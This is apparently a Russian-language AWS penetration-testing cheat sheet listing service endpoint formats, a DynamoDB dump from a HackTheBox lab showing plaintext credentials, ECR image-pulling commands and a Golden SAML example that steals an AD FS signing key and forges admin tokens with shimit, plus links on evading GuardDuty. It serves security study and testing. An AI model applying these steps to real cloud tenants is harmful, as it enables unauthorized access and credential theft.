Получение обьектов из базы данных:

aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'

{
  "password": {
    "S": "Management@#1@#"
  },
  "username": {
    "S": "Mgmt"
  }
}


ES (ElasticSearch)

ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.

Формат ссылки:

https://{user_provided}-{random_id}.{region}.es.amazonaws.com


ELB (Elastic Load Balancing)

Балансировщик нагрузки.


Формат ссылки (elb_v1):

http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443

Формат ссылки (elb_v2):

https://{user_provided}-{random_id}.{region}.elb.amazonaws.com

RDS (Relational Database Service)

Облачная реляционная база данных (на выбор).

Формат ссылки:

mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432

Route 53

Настраиваемая служба DNS.

Формат ссылки:

{user_provided}

API Gateway

API-сервис, который будет доступен почти со всех серверов.

Формат ссылки:

https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}

CloudSearch

Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.


Формат ссылки:

https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com

Transfer Family

Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).

Формат ссылки:

sftp://s-{random_id}.server.transfer.{region}.amazonaws.com
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com


IoT (Internet Of Things)

Сервис для управления IoT-устройствами.

Формат ссылки:

mqtt://{random_id}.iot.{region}.amazonaws.com:8883
https://{random_id}.iot.{region}.amazonaws.com:8443
https://{random_id}.iot.{region}.amazonaws.com:443

MQ

Сервис брокера сообщений для Apache ActiveMQ & RabbitMQ.


Формат ссылки:

https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617

MSK (Managed Streaming for Apache Kafka)

Сервис потоковой передачи данных в Apache Kafka.


Формат ссылки:

b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com

Cloud9

Облачная интегрированная среда разработки(IDE) используя только браузер.

Формат ссылки:

https://{random_id}.vfs.cloud9.{region}.amazonaws.com


MediaStore

Cервис хранилища AWS, оптимизированный для мультимедийных материалов.


Формат ссылки:

https://{random_id}.data.mediastore.{region}.amazonaws.com


Kinesis Video Streams

Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.


Формат ссылки:

https://{random_id}.kinesisvideo.{region}.amazonaws.com


Elemental MediaConvert

Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.

Формат ссылки:

https://{random_id}.mediaconvert.{region}.amazonaws.com


Elemental MediaPackage

Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.


Формат ссылки:

https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel

ECR (Elastic Container Registry)

Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.


Роли - управление

ecr:ListImages

Получить список образов:

aws ecr list-images --repository-name <ECR_name> --registry-id <UserID> --region <region> --profile <profile_name>

ecr:GetDownloadUrlForLayer

Позволяет получить URL на скачивание образа.

ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken

Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):

aws ecr get-login
docker pull <UserID>.dkr.ecr.us-east-1.amazonaws.com/<ECRName>:latest
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0

Утилиты

Вычисление ролей

enumerate-iam

github.com:andresriancho/enumerate-iam.git


Эксплуатация

Golden SAML

Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.


Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

shimit

https://github.com/cyberark/shimit

Установка:

cd /tmp
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
git clone https://github.com/cyberark/shimit
cd shmit
python shmit.py


В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ. Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell


Пример эксплуатации:

# Получаем приватный ключ
[System.Convert]::ToBase64String($cer.rawdata)
(Get-ADFSProperties).Identifier.AbsoluteUri
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

# Получаем инфу о юзерах - выбираем цель
aws iam list-users

# Получаем токен
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012

# Проверяем текущий аккаунт
aws opsworks describe-my-user-profile

Проверки безопасности

Для администраторов преимущественно.

Zeus

https://github.com/DenizParlak/Zeus


Другое

aws_consoler

https://github.com/NetSPI/aws_consoler

All-In-One

pacu

ScoutSuite

https://github.com/nccgroup/ScoutSuite

Ссылки

Статьи

Hijacking IAM Roles and Avoiding Detection

Bypass GuardDuty PenTest Alerts

Intercept SSM Agent Communications

Лаборатории

Damn Vulnerable Cloud Application

SadCloud

Flaws

HackTheBox Stacked Writeup

Краткие заметки

PayloadAllTheThings

hacktricks-s3

hacktricks-aws

Книги

Hands-On AWS Penetration Testing with Kali Linux